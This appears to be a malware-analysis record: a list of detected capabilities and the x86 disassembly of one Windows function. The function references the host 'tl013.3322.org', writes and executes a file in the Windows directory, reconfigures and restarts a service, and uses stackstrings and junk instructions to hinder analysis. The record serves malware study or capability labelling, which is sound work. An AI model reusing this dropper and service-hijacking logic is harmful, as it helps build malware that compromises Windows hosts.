Function at 0x401a90
Capabilities:
Contain obfuscated stackstrings
Continue service
Create process on windows
Get common file path
Link many functions at runtime
Modify service
Start service
Stop service
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1828
call fcn.00401f40
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push 0x42c6ac
push 0x42c69c
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0x42c884
push 0x42c69c
mov dword [ebp - 0x2c], eax
call ebx
push eax
call esi
push 0x42c878
push 0x42c69c
mov dword [ebp - 0x24], eax
call ebx
push eax
call esi
push 0x42c86c
push 0x42c860
mov dword [ebp - 0x34], eax
call ebx
push eax
call esi
push 0x42c858
push 0x42c754
mov dword [ebp - 0x28], eax
call ebx
push eax
call esi
push 0x42c848
push 0x42c730
mov dword [ebp - 0x1c], eax
call ebx
push eax
call esi
mov dword [ebp - 0x20], eax
mov ecx, 0xa
xor eax, eax
lea edi, [ebp - 0x5c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 8]
push 0x68
push eax
mov dword [ebp - 0x5c], 2
mov dword [ebp - 0x58], 0x401000
mov dword [ebp - 0x4c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [ebp - 0x44], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x3c], 0x6b
mov dword [ebp - 0x38], 0x42c83c
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [ebp - 0x24]
push eax
call fcn.00401f10
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x18b]
mov byte [ebp - 0x18c], 0
rep stosd dword es:[edi], eax
add esp, 4
lea ecx, [ebp - 0x18c]
stosw word es:[edi], ax
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov byte [ebp - 0x189], 0
call fcn.00401f1a
lea eax, [eax + eax*4]
lea ecx, [ebp - 0x18c]
lea edx, [eax + eax*4]
lea eax, [ebp - 0x18c]
shl edx, 2
push edx
push eax
push 0x42c830
push ecx
call fcn.00401ebe
lea edx, [ebp - 0x18c]
push edx
push str.tl013.3322.org
push str.Please_Input_Service_Name
call fcn.004015c0
mov al, 0x5c
add esp, 0x1c
mov byte [ebp - 0xc], al
mov byte [ebp - 4], al
mov cl, 0x53
lea eax, [ebp - 0x18]
mov byte [ebp - 0x14], cl
mov byte [ebp - 8], cl
push eax
push 0xf003f
lea ecx, [ebp - 0x14]
push 0
push ecx
push 0x80000002
mov byte [ebp - 0x13], 0x4f
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x54
mov byte [ebp - 0x10], 0x57
mov byte [ebp - 0xf], 0x41
mov byte [ebp - 0xe], 0x52
mov byte [ebp - 0xd], 0x45
mov byte [ebp - 0xb], 0x33
mov byte [ebp - 0xa], 0x36
mov byte [ebp - 9], 0x30
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x65
mov byte [ebp - 3], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401d85
lea edx, [ebp - 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x62]
mov edx, dword [ebp - 0x66]
mov edi, dword [ebp - 0x28]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [ebp - 0x28c]
push 0x42c828
push eax
call edi
lea ecx, [ebp - 0x28c]
lea edx, [ebp - 0x28b]
sub ecx, 3
lea eax, [ebp - 0x38c]
push ecx
push edx
push 0x42c820
push eax
call edi
add esp, 0x24
lea ecx, [ebp - 0x18c]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push ecx
call dword [ebp - 0x2c]
mov edx, eax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x88b]
mov byte [ebp - 0x88c], 0
push 2
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0
push edx
mov dword [ebp + 8], edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x30], 0
mov edi, 0xa
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x30]
push 0
push edx
lea eax, [ebp - 0x88c]
push 0x400
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec edi
jne 0x401d02
lea edx, [ebp - 0x38c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x1828]
movsx edx, al
push 0
push ecx
lea eax, [ebp - 0x38c]
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18c]
lea edx, [ebp - 0x48c]
push ecx
push 0x42c804
push edx
call dword [ebp - 0x28]
add esp, 0xc
lea eax, [ebp - 0x48c]
push 1
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.004018f0
push 0
call dword [ebp - 0x34]
lea ecx, [ebp - 0x18c]
push ecx
call fcn.00401800
add esp, 4
push 0xf003f
push 0
push 0
call dword [ebp - 0x20]
push 0xf01ff
push 0x42c7f4
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0x110
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
mov ecx, 6
xor eax, eax
lea edi, [ebp - 0x84]
mov dword [ebp - 0x88], 0
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
lea edx, [ebp - 0x88]
push edx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
lea eax, [ebp - 0x18c]
push eax
call fcn.00401730
add esp, 4
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 1
call dword [ebp - 0x1c]
push 0x42c7e0
push 0x42c7d0
call ebx
push eax
call esi
push edi
call eax
push 1
call dword [ebp - 0x1c]
push 0x42c7c0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp + 8], eax
call dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp + 8]
push 0x64
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x401e82
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
call dword [ebp - 0x24]
sub eax, dword [ebp - 0x20]
cmp eax, 0x1388
jbe 0x401e4e
lea edx, [ebp - 0x18c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 1
call dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10